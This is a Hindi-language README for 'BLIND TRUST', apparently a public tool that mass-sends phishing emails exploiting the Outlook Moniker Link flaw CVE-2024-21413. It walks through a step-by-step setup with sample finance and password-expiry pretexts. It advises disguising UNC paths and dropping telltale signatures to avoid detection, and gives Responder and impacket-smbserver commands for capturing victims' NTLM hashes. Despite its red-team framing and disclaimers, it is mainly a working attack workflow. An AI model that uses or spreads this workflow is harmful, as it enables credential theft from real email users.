BLIND TRUST - मोनिकर लिंक फ़िशिंग एंगेजमेंट फ्रेमवर्क

CVE-2024-21413 Moniker Link भेद्यता का उपयोग करके लक्षित फ़िशिंग अभियानों को अनुकरण करने के लिए एक सुरक्षा अनुसंधान उपकरण। अधिकृत रेड टीम संचालन, पेनिट्रेशन टेस्टिंग और सुरक्षा जागरूकता प्रशिक्षण के लिए डिज़ाइन किया गया।

अवलोकन

BLIND TRUST एक फ़िशिंग एंगेजमेंट फ्रेमवर्क है जो सुरक्षा टीमों को परिष्कृत ईमेल-आधारित हमलों के विरुद्ध अपनी सुरक्षा को समझने और परीक्षण करने में मदद करता है। यह Outlook के Protected View को बायपास करने के लिए Moniker Link तकनीक का लाभ उठाता है, जो एक यथार्थवादी हमला अनुकरण प्रदान करता है जिसका उपयोग संगठन अपनी सुरक्षा स्थिति को मजबूत करने के लिए कर सकते हैं।

यह उपकरण एंड-टू-एंड अभियान वर्कफ़्लो को स्वचालित करता है - कॉन्फ़िगरेशन से लेकर ईमेल वितरण तक - जबकि अनुकूलन योग्य UNC पथ और लचीले बहाना विकल्पों के माध्यम से परिचालन सुरक्षा बनाए रखता है।

उद्देश्य

संगठनों को प्रभावी ढंग से बचाव करने के लिए वास्तविक हमला तकनीकों को समझने की आवश्यकता है। TRUST सक्षम करता है:

• रेड टीम संचालन - सुरक्षा मूल्यांकन के भाग के रूप में अधिकृत फ़िशिंग अभियान चलाएँ
• सुरक्षा जागरूकता प्रशिक्षण - कर्मचारियों को वास्तविक दुनिया के हमला वैक्टर प्रदर्शित करें
• भेद्यता सत्यापन - ज्ञात तकनीकों के विरुद्ध पहचान क्षमताओं का परीक्षण करें
• रक्षा अनुसंधान - अपने वातावरण में Moniker Link व्यवहार को समझें

विशेषताएँ

• मल्टी-टार्गेट अभियान - एकल कॉन्फ़िगरेशन के साथ कई लक्ष्यों को फ़िशिंग ईमेल भेजें
• लचीला लक्ष्य लोडिंग - इंटरैक्टिव इनपुट या वर्डलिस्ट-शैली .txt फ़ाइलों के माध्यम से लक्ष्य लोड करें
• अनुकूलन योग्य बहाना - ईमेल विषय, प्रेषक प्रदर्शन नाम और बॉडी टेक्स्ट को नियंत्रित करें
• विवेकपूर्ण UNC पथ - Moniker Link पथ को यथार्थवादी दिखाने के लिए अनुकूलित करें (डोमेन, शेयर नाम, एक्सप्लॉइट नाम)
• SMTP प्रमाणीकरण - TLS वार्ता के साथ विभिन्न SMTP सर्वरों के लिए समर्थन
• स्वचालित पुनर्प्रयास तर्क - क्षणिक SMTP विफलताओं के लिए एक्सपोनेंशियल बैकऑफ़
• अभियान रिपोर्टिंग - एकत्रित परिणामों के साथ प्रति-लक्ष्य वितरण स्थिति
• कोई हार्डकोडेड हस्ताक्षर नहीं - स्पष्ट संकेतकों को हटाएँ जो तकनीक को उजागर करते हैं

स्थापना

आवश्यकताएँ

• Python 3.7+
• केवल मानक लाइब्रेरी (कोई बाहरी निर्भरता नहीं)

सेटअप

# रिपॉजिटरी क्लोन करें
git clone https://github.com/h1ssbl1tz/Blind-Trust.git
cd TRUST

# उपकरण चलाएँ
python3 TRUST_v7.py

आवश्यकताएँ

यह उपकरण केवल Python मानक लाइब्रेरी मॉड्यूल का उपयोग करता है:

getpass      - सुरक्षित पासवर्ड इनपुट
html         - HTML एस्केपिंग
ipaddress    - IP पता सत्यापन
logging      - संरचित लॉगिंग
os           - फ़ाइल संचालन
re           - नियमित अभिव्यक्तियाँ
signal       - सिग्नल हैंडलिंग
smtplib      - SMTP ईमेल प्रोटोकॉल
sys          - सिस्टम उपयोगिताएँ
time         - समय संचालन
dataclasses  - कॉन्फ़िगरेशन मॉडलिंग
email        - MIME ईमेल निर्माण
typing       - प्रकार संकेत

कोई बाहरी पैकेज आवश्यक नहीं - Python 3.7+ के साथ कहीं भी चलता है।

त्वरित आरंभ

python3 TRUST_v7.py

5 चरणों के माध्यम से इंटरैक्टिव विज़ार्ड का पालन करें:

1. हमलावर क्रेडेंशियल्स - ईमेल भेजने के लिए SMTP खाता
2. SMB लिसनर सेटअप - वह IP पता जहाँ लक्ष्य कनेक्ट होंगे
3. लक्ष्य कॉन्फ़िगरेशन - इनपुट या वर्डलिस्ट फ़ाइल से पीड़ितों को लोड करें
4. ईमेल अनुकूलन - विषय, प्रेषक नाम और बॉडी टेक्स्ट
5. पेलोड अनुकूलन - UNC पथ होस्ट, शेयर और एक्सप्लॉइट नाम

उपयोग उदाहरण

उदाहरण 1: इंटरैक्टिव इनपुट (छोटा अभियान)

Load targets from [f]ile or [i]nput directly?: i
Target email address(es): [email protected], [email protected]

Email subject [Security Update Required]: Urgent: Password Expiration Notice
Display name (From field) [Microsoft Security Center]: IT Security Team
Email body text: Your password expires in 24 hours. Please update immediately.

UNC host (IP or domain) [192.168.1.100]: it-internal.company.com
UNC share name [updates]: patches
UNC exploit name [patch]: kb_security_2024

उदाहरण 2: वर्डलिस्ट लोडिंग (बड़ा अभियान)

targets.txt बनाएँ:

# Finance Department
[email protected]
[email protected]
[email protected]

# Accounting
[email protected]
[email protected]

फिर चलाएँ:

Load targets from [f]ile or [i]nput directly?: f
Path to targets file: targets.txt
[+] Loaded 5 target(s) from targets.txt

उदाहरण 3: यथार्थवादी वित्त बहाना

Email subject: Q3 Financial Review - Action Required
Display name: Finance Operations Team
Email body: Please review the attached Q3 financial statement and provide approval.

UNC host: finance-internal.company.com
UNC share: quarterly
UNC exploit: q3_financial_report

Generated UNC path: file://finance-internal.company.com/quarterly!q3_financial_report

कॉन्फ़िगरेशन की व्याख्या

STEP 1: हमलावर क्रेडेंशियल्स

• हमलावर ईमेल: फ़िशिंग ईमेल भेजने के लिए उपयोग किया जाने वाला ईमेल पता (आमतौर पर एक समझौता या स्पूफ किया गया खाता)
• SMTP पासवर्ड: मेल सर्वर के लिए प्रमाणीकरण क्रेडेंशियल

STEP 2: SMB लिसनर

• SMB लिसनर IP: वह IP पता जहाँ आपका SMB लिसनर (जैसे, Responder, impacket-smbserver) चल रहा है। जब लक्ष्य Moniker Link पर क्लिक करेंगे तो वे यहाँ कनेक्ट करने का प्रयास करेंगे।

STEP 3: लक्ष्य कॉन्फ़िगरेशन

दो विकल्प:

• इंटरैक्टिव इनपुट: ईमेल सीधे पेस्ट करें (अल्पविराम या नई पंक्ति से अलग)
• वर्डलिस्ट फ़ाइल: एक .txt फ़ाइल से लोड करें जिसमें प्रति पंक्ति एक ईमेल हो, टिप्पणियाँ # से शुरू हों

STEP 4: ईमेल अनुकूलन

• विषय: ईमेल विषय पंक्ति (CVE संदर्भों से बचें; इसे व्यावसायिक रखें)
• प्रेषक प्रदर्शन नाम: ईमेल हेडर में दिखाया गया मैत्रीपूर्ण नाम
• ईमेल बॉडी: बहाना टेक्स्ट जो बताता है कि लक्ष्यों को लिंक पर क्लिक क्यों करना चाहिए

STEP 5: पेलोड अनुकूलन

यहाँ आप स्पष्ट हस्ताक्षरों से बचते हैं:

• UNC होस्ट: केवल IP के बजाय एक यथार्थवादी डोमेन या उपडोमेन का उपयोग करें (जैसे, finance-internal.company.com)
• UNC शेयर: यथार्थवादी शेयर नाम जैसे quarterly, updates, documents
• UNC एक्सप्लॉइट: यथार्थवादी फ़ाइल नाम जैसे q3_report, security_patch, training_document

परिणाम: स्पष्ट \\192.168.1.100\share!exploit के बजाय, आपको कुछ इस प्रकार मिलता है: file://finance-internal.company.com/quarterly!q3_report

निष्पादन प्रवाह

Start
  ↓
[STEP 1] हमलावर ईमेल और SMTP पासवर्ड के लिए संकेत
  ↓
[STEP 2] SMB लिसनर IP के लिए संकेत
  ↓
[STEP 3] लक्ष्य ईमेल लोड करें (फ़ाइल या इनपुट)
  ↓
     ↓→ प्रत्येक लक्ष्य के लिए:
     │  - ईमेल प्रारूप सत्यापित करें
     │  - डुप्लिकेट की जाँच करें
     │
[STEP 4] ईमेल बहाना के लिए संकेत
     │  - विषय, प्रेषक नाम, बॉडी टेक्स्ट
     │
[STEP 5] UNC पथ अनुकूलन के लिए संकेत
     │  - होस्ट, शेयर, एक्सप्लॉइट नाम
     │
  ↓
[BUILD] कॉन्फ़िगरेशन ऑब्जेक्ट का निर्माण
  ↓
[VALIDATE] सभी फ़ील्ड की उपस्थिति और वैधता की जाँच
  ↓
[SUMMARY] समीक्षा के लिए प्री-सेंड सारांश प्रदर्शित करें
  ↓
[CONFIRM] उपयोगकर्ता स्वीकृत या रद्द करता है
  ↓
[SEND] प्रत्येक लक्ष्य के लिए:
     │  - कस्टम Moniker Link के साथ MIME ईमेल बनाएँ
     │  - पुनर्प्रयास तर्क के साथ SMTP वितरण का प्रयास करें
     │  - प्रति-लक्ष्य सफलता/विफलता लॉग करें
     │
  ↓
[REPORT] अभियान परिणाम प्रदर्शित करें (वितरित बनाम विफल)
  ↓
Exit

यह कैसे काम करता है

कमज़ोरी

CVE-2024-21413 (Moniker Link) एक Outlook भेद्यता है जो file:// URL में ! वर्ण एम्बेड करने की अनुमति देती है। जब कोई उपयोगकर्ता ऐसे लिंक पर क्लिक करता है, तो Outlook UNC पथ तक पहुँचने का प्रयास करता है, जो Protected View मोड में भी NTLM प्रमाणीकरण प्रयास को ट्रिगर करता है।

हमला प्रवाह

1. उपयोगकर्ता को Moniker Link वाला एक ईमेल प्राप्त होता है
2. ईमेल वैध दिखाई देता है (आपके कस्टम बहाने के कारण)
3. उपयोगकर्ता लिंक पर क्लिक करता है
4. Outlook \\host\share!exploit तक पहुँचने का प्रयास करता है
5. ! वर्ण Protected View को बायपास करता है
6. उपयोगकर्ता का सिस्टम आपके SMB लिसनर से प्रमाणीकरण करता है
7. आप NTLM हैश या क्रेडेंशियल जानकारी कैप्चर करते हैं

यह उपकरण क्या करता है

TRUST वितरण चरण को स्वचालित करता है:

• कस्टम बहाने के साथ यथार्थवादी ईमेल तैयार करता है
• HTML पेलोड में Moniker Link इंजेक्ट करता है
• SMTP कनेक्शन और पुनर्प्रयास प्रबंधित करता है
• कई लक्ष्यों को कुशलतापूर्वक संभालता है
• अभियान रिपोर्टिंग प्रदान करता है

समस्या निवारण

समस्या: "SMTP attempt 3 failed: [SMTP: 535]"

समाधान: SMTP क्रेडेंशियल सत्यापित करें। Gmail के लिए, ऐप-विशिष्ट पासवर्ड का उपयोग करें। कॉर्पोरेट मेल के लिए, अपने SMTP व्यवस्थापक से जाँच करें।

समस्या: "TLS not supported. Proceeding without encryption."

समाधान: कुछ SMTP सर्वरों के लिए सामान्य। कनेक्शन TLS एन्क्रिप्शन के बिना आगे बढ़ेगा।

समस्या: "Invalid email: victim@"

समाधान: सुनिश्चित करें कि वर्डलिस्ट फ़ाइलों में ईमेल पूर्ण और वैध प्रारूप ([email protected]) में हों।

समस्या: "Recipient rejected"

समाधान: ईमेल पता लक्ष्य सर्वर पर मौजूद नहीं है, या सर्वर आपके खाते से रिले को अवरुद्ध कर रहा है।

समस्या: "File not found: targets.txt"

समाधान: सत्यापित करें कि फ़ाइल पथ सही है और फ़ाइल आपकी वर्तमान निर्देशिका में मौजूद है।

अक्सर पूछे जाने वाले प्रश्न

प्रश्न: क्या यह उपकरण उपयोग करने के लिए कानूनी है? A: केवल उस संगठन की स्पष्ट लिखित अनुमति से जिसका आप परीक्षण कर रहे हैं। अनधिकृत फ़िशिंग अवैध है। हमेशा लिखित रूप में कार्यक्षेत्र और संलग्नता नियम रखें।

प्रश्न: क्या यह उन्नत ईमेल फ़िल्टर को बायपास कर सकता है? A: यह एक यथार्थवादी अनुकरण है, लेकिन आधुनिक ईमेल सुरक्षा इसे अभी भी पकड़ सकती है। यही बात है—यदि आपके संगठन के फ़िल्टर इसके विरुद्ध विफल होते हैं, तो आपके पास हल करने के लिए एक समस्या है।

प्रश्न: UNC पथ को अनुकूलित क्यों करें? A: मूल \\IP\share!exploit एक स्पष्ट संकेत है। वास्तविक हमलावर यथार्थवादी पथ का उपयोग करते हैं। आपकी सुरक्षा टीम को स्पष्ट और सूक्ष्म दोनों संकेतकों को पकड़ना चाहिए।

प्रश्न: क्या मैं इसका उपयोग कर्मचारियों को प्रशिक्षित करने के लिए कर सकता हूँ? A: हाँ। अधिकृत परीक्षण के बाद, सुरक्षा जागरूकता प्रशिक्षण में साफ़ किए गए अभियान उदाहरणों का उपयोग करके कर्मचारियों को वास्तविक हमला तकनीक दिखाएँ।

प्रश्न: क्या यह क्रेडेंशियल कैप्चर करता है? A: नहीं। TRUST केवल ईमेल वितरित करता है। जब लक्ष्य लिंक पर क्लिक करते हैं तो NTLM हैश कैप्चर करने के लिए आपको एक अलग SMB लिसनर (Responder, impacket-smbserver, आदि) की आवश्यकता है।

प्रश्न: मैं SMB लिसनर कैसे सेट करूँ? A: Linux पर Responder या impacket-smbserver का उपयोग करें:

# Responder (हैश कैप्चर करता है)
sudo responder -i eth0 -v

# impacket-smbserver (फ़ाइल सर्वर अनुकरण)
impacket-smbserver Share /tmp -smb2support

सीमाएँ

• कोई अंतर्निहित क्रेडेंशियल कैप्चर नहीं: आप SMB लिसनर प्रदान करते हैं; TRUST केवल ईमेल वितरित करता है
• कोई अभियान स्थायित्व नहीं: परिणाम कंसोल पर मुद्रित होते हैं; stdout को सेव करने के लिए रीडायरेक्ट करें
• कोई लक्ष्यीकरण बुद्धिमत्ता नहीं: आपको स्वयं लक्ष्य ईमेल पते एकत्र करने होंगे
• कोई ईमेल अस्पष्टीकरण नहीं: जबकि UNC पथ अनुकूलन योग्य हैं, ईमेल हेडर मानक SMTP हैं
• कोई मल्टी-थ्रेडिंग नहीं: विश्वसनीयता के लिए ईमेल अनुक्रमिक रूप से भेजे जाते हैं

अस्वीकरण

यह उपकरण केवल अधिकृत सुरक्षा परीक्षण के लिए है।

• फ़िशिंग अभियान चलाने के लिए आपके पास स्पष्ट लिखित अनुमति होनी चाहिए
• अनधिकृत उपयोग अवैध और अनैतिक है
• केवल नियंत्रित वातावरण में उन प्रणालियों के विरुद्ध उपयोग करें जिनका आप स्वामित्व रखते हैं या परीक्षण करने की अनुमति है
• हमेशा लागू कानूनों और विनियमों का पालन करें
• लेखक इस उपकरण के दुरुपयोग या क्षति के लिए कोई देयता नहीं मानते हैं

TRUST का उपयोग करके, आप स्वीकार करते हैं कि आप कानूनी निहितार्थों को समझते हैं और आपके पास उचित प्राधिकरण है।

जिम्मेदार उपयोग के लिए सिफारिशें

1. लिखित प्राधिकरण प्राप्त करें - किसी भी अभियान से पहले हस्ताक्षरित संलग्नता नियम प्राप्त करें
2. अपने लक्ष्यों को स्कोप करें - परिभाषित करें कि कौन सी प्रणालियाँ और लोग स्कोप में हैं
3. सुधार की योजना बनाएँ - फ़िश किए गए कर्मचारियों के लिए एक प्रशिक्षण योजना तैयार रखें
4. परिणामों का दस्तावेज़ीकरण करें - मूल्यांकन के विस्तृत रिकॉर्ड रखें
5. निष्कर्षों की रिपोर्ट करें - हितधारकों को प्रतिक्रिया प्रदान करें कि क्या प्रभावी था
6. गोपनीयता का सम्मान करें - सुरक्षा कार्यक्रम के बाहर कैप्चर किए गए डेटा का उपयोग न करें

भविष्य में सुधार

• अभियान स्थायित्व और फ़ाइल में लॉगिंग
• ईमेल बहाने के लिए टेम्पलेट सिस्टम
• लक्ष्य गणना के लिए LDAP के साथ एकीकरण
• अधिक परिष्कृत ईमेल के लिए HTML टेम्पलेट रेंडरिंग
• अभियान शेड्यूलिंग (समय-आधारित वितरण)
• मीट्रिक और विश्लेषण के साथ रिपोर्टिंग डैशबोर्ड
• Moniker Link से परे अन्य फ़िशिंग तकनीकों के लिए समर्थन

लाइसेंस

यह प्रोजेक्ट MIT लाइसेंस के तहत जारी किया गया है जिसमें एक उपयोग प्रतिबंध जोड़ा गया है। विवरण के लिए LICENSE देखें।

श्रेय और आरोपण

यह प्रोजेक्ट CVE-2024-21413 पर CMNatic (https://github.com/cmnatic) के मूल शोध और कार्यान्वयन पर आधारित और प्रेरित है।

CMNatic पूर्ण श्रेय के हकदार हैं:

• मूल भेद्यता अनुसंधान और प्रूफ-ऑफ-कॉन्सेप्ट
• कोर तकनीकी कार्यान्वयन
• प्रारंभिक सार्वजनिक दस्तावेज़ीकरण

यह रिपॉजिटरी उस कार्य का एक संशोधित और विस्तारित संस्करण है, जिसमें निम्नलिखित संवर्द्धन शामिल हैं:

• मल्टी-टार्गेट अभियान समर्थन
• अनुकूलन योग्य ईमेल बहाना
• विवेकपूर्ण UNC पथ अनुकूलन
• वर्डलिस्ट-आधारित लक्ष्य लोडिंग
• बेहतर SMTP हैंडलिंग और पुनर्प्रयास तर्क
• व्यापक दस्तावेज़ीकरण

अधिक विस्तृत आरोपण के लिए CREDITS.md देखें।

लेखक

H1SS - इस संस्करण को सुरक्षा अनुसंधान और अधिकृत परीक्षण उद्देश्यों के लिए विस्तारित और बनाए रखा।

योगदान

योगदान का स्वागत है। कृपया सुनिश्चित करें कि कोई भी परिवर्तन:

• उपकरण के शैक्षिक फोकस को बनाए रखता है
• उपयुक्त दस्तावेज़ीकरण शामिल करता है
• जिम्मेदार प्रकटीकरण प्रथाओं का पालन करता है
• बाहरी निर्भरताएँ नहीं लाता है

दिशानिर्देशों के लिए CONTRIBUTING.md देखें।

सहायता

मुद्दों, प्रश्नों या सुझावों के लिए, GitHub पर एक मुद्दा खोलें।

याद रखें: यह उपकरण एक शोध प्रोजेक्ट है। जिम्मेदारी से, कानूनी रूप से और नैतिक रूप से उपयोग करें।